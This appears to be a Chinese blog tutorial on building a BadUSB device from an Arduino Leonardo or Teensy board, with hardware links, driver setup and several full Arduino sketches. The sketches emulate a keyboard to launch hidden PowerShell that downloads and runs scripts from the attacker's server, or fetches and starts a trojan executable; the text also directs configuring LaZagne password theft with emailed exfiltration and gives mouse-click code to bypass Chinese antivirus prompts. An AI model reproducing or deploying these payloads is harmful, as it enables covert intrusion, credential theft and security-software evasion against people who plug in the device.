'BadUSB制作'

HID攻击原理

HID是Human Interface Device的缩写,由其名称可以了解HID设备是直接与人交互的设备。一般来讲针对HID的攻击主要集中在键盘鼠标上,因为只要控制了用户键盘,基本上就等于控制了用户的电脑。攻击者会把攻击隐藏在一个正常的鼠标键盘中,当用户将含有攻击向量的鼠标或键盘,插入电脑时,恶意代码会被加载并执行。简而言之,今天要介绍的Badusb利用的是虚拟键盘来实现恶意代码的执行。

硬件准备

(购买板子或购买有外壳的)
https://item.taobao.com/item.htm?spm=a1z09.2.0.0.3d1f2e8dNaX0hO&id=589099911512&_u=m2i3k6cqf473
https://m.tb.cn/h.eFDEFMN?sm=e737b6

函数介绍

Arduino IDE中使用的开发语言是C,一个程序在Arduino IDE中被成为 sketch,每个 sketch 都包含一个 setup 函数和一个 loop 函数。程序启动,首先调用 setup,这个函
数只被调用一次,loop 函数会被不停的重复调用下去。

软件驱动准备

编译器Arduino IDE,Teensyduino驱动,arduino驱动
(百度云盘直接下载ZIP,解压即可使用)
链接:https://pan.baidu.com/s/16lDkrlxU9BpCD7kKgGhJng
提取码:onqg
驱动准备

Teensyduino安装,特别注意编译器版本需要在1.6.4以下



选择all安装

中途可能会出错,我重启下电脑就好了(没搞懂,报错说是不为管理员启动安装或杀毒软件运行)
可能这就是玄学重启吧

测试脚本

打开编译器,测试脚本(循环模式2秒写一个hello world)

void setup() {
// put your setup code here, to run once:
Keyboard.print(“Hello World”);
}
void loop() {
// put your main code here, to run repeatedly:
delay(2000); // 暂停2秒
Keyboard.print(“Hello World”); // 模拟键盘输入


先验证再上传
录入成功

替换其他脚本

为确保我们的脚本能够完美地发送包含目标主机信息的邮件,我们需要开启smtp邮箱服务。本处我使用的是QQ邮箱,开启方法如下:
进入邮箱,点击设置-账户

往下拉,开启前两个服务

此过程需要验证密保~
即可获得"授权码”(即后文提到的邮箱密码)此处的邮箱密码并不是指QQ密码

首先下载Badusb所需代码,代码已打包(见云盘链接)
修改2754行的IP地址为自己服务器IP

修改main.ps1的2903-2919行 为发送邮件配置

修改GetPass.ps1中的前两行,域名,Getpass.rar实际上是lazagne,用rar下载尽量避免触发安全软件,这个不放心可以百度下载。command.rar实为bat 因为 lazagne注入lsass时会被安全软件拦截,所以用bat避免注入。修改GetPass.ps1中的邮箱配置,同main.ps1中的就行

将修改后的文件(共四个)上传到公网服务器,如利用Xshell,FinalShell等工具直接拖拽上传

Arduino代码

1.打开Arduino IDE
2.工具->版->选择"Arduino Leonardo"
3,port选择COM3

void setup(){//初始化
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r’);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r’);
Keyboard.press(KEY_CAPS_LOCK);//利用开大写输小写绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println(“CMD”);
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString(‘http://8.8.8.8/main.ps1’) ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
Keyboard.begin();//开始键盘通讯
delay(5000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(500);
Keyboard.press(‘r’);//r键
delay(500);
Keyboard.release(KEY_LEFT_GUI);
Keyboard.release(‘r’);
Keyboard.release(KEY_CAPS_LOCK);
delay(500);
Keyboard.println(“CMD”);
delay(500);
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
delay(3000);
Keyboard.println("powershell -windowstyle hidden IEX (New-Object Net.WebClient).DownloadString(‘http://8.8.8.8/payload.ps1’) ");
Keyboard.press(KEY_RETURN);
Keyboard.release(KEY_RETURN);
Keyboard.press(KEY_CAPS_LOCK);
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.end();//结束键盘通讯
}
void loop() {}

将代码中的8.8.8.8改为自己服务器IP
其实最主要的还是免杀。。。。。

总结

遇到困难不要轻易放弃,奥力给!百度/谷歌都是很好的帮手,另外思路要活。比如powershell默认设置是Restricted(脚本不能运行),但是我们可以打开 运行 ,通过它来运行powershell脚本而不是打开powershell运行脚本,还有就是最后被拦截一样,换个思路,不一定要免杀马那么复杂的东西,运用badusb的特性一样可以绕过。

扩展代码

通过修改x,y的值,可通过模拟鼠标点击,绕过沙雕腾讯电脑管家

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
long basic;
long x;
long y;
String powershell;

void setup()
{
basic=9999999;
x=5000000;
y=5000000;
powershell="powershell.exe -WindowStyle Hidden -NoLogo IEX (New-Object Net.WebClient).DownloadString('http://xxx.xxx.xxx.xxx/main.ps1');";

Keyboard.begin();
Mouse.begin();

keyboard_gui();
keyboard_powershell();
mouse();

Mouse.end();
Keyboard.end();
}
void keyboard_gui()
{
Keyboard.begin();
delay(1000);
delay(500);
Keyboard.press(KEY_LEFT_GUI);
delay(500);
Keyboard.press('r');
delay(500);
Keyboard.releaseAll();
}

void keyboard_powershell()
{
Keyboard.println(powershell);
delay(500);
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
}

void mouse()
{
delay(500);
Mouse.move(-basic,-basic,0);
Mouse.move(-basic,-basic,0);
Mouse.move(-basic,-basic,0);
Mouse.move(-basic,-basic,0);
Mouse.move(-basic,0,0);
Mouse.move(0,-basic,0);
Mouse.move(basic,basic,0);
Mouse.move(basic,0,0);
Mouse.move(x,y,0);
Mouse.click();
delay(500);
Mouse.click();
delay(500);
Mouse.click();
}
void loop() {}

其他过狗代码,自行研究

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#include <Keyboard.h>
void setup() {//初始化
Keyboard.begin();//开始键盘通讯
delay(1000);//延时
Keyboard.press(KEY_LEFT_GUI);//win键
delay(200);
Keyboard.press('r');//r键
delay(300);
Keyboard.release(KEY_LEFT_GUI);//释放win 键
Keyboard.release('r');//释放R键
Keyboard.press(KEY_CAPS_LOCK);//切换大小写,绕过输入法
Keyboard.release(KEY_CAPS_LOCK);
Keyboard.println("cmd");
delay(200);
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("powershell");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt = new-object System.Net.WebClient;");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$url= '**********木马地址******'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$file = ' D:\\server.exe'; ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("$clnt.DownloadFile($url,$file); ");
Keyboard.press(KEY_RETURN);//按下回车键
delay(200);
Keyboard.release(KEY_RETURN);//按下回车键
delay(500);
Keyboard.println("START D:\\server.exe ");
Keyboard.press(KEY_RETURN);
delay(500);
Keyboard.release(KEY_RETURN);
delay(500);
Keyboard.end();//结束键盘通讯

}

void loop(){}//循环

免杀版本已制作成功,过360、电脑管家、火绒,资料只在知识星球发放